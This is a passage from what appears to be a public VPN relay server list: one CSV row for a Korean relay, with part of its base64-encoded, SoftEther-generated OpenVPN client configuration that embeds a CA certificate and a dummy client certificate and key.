GUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn161058622,61.96.244.33,523184,38,89180824,Korea Republic of,KR,5,1000,48764,4945342089583,2weeks,mallin's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA2MS45Ni4yNDQuMzMgMTIzMg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERI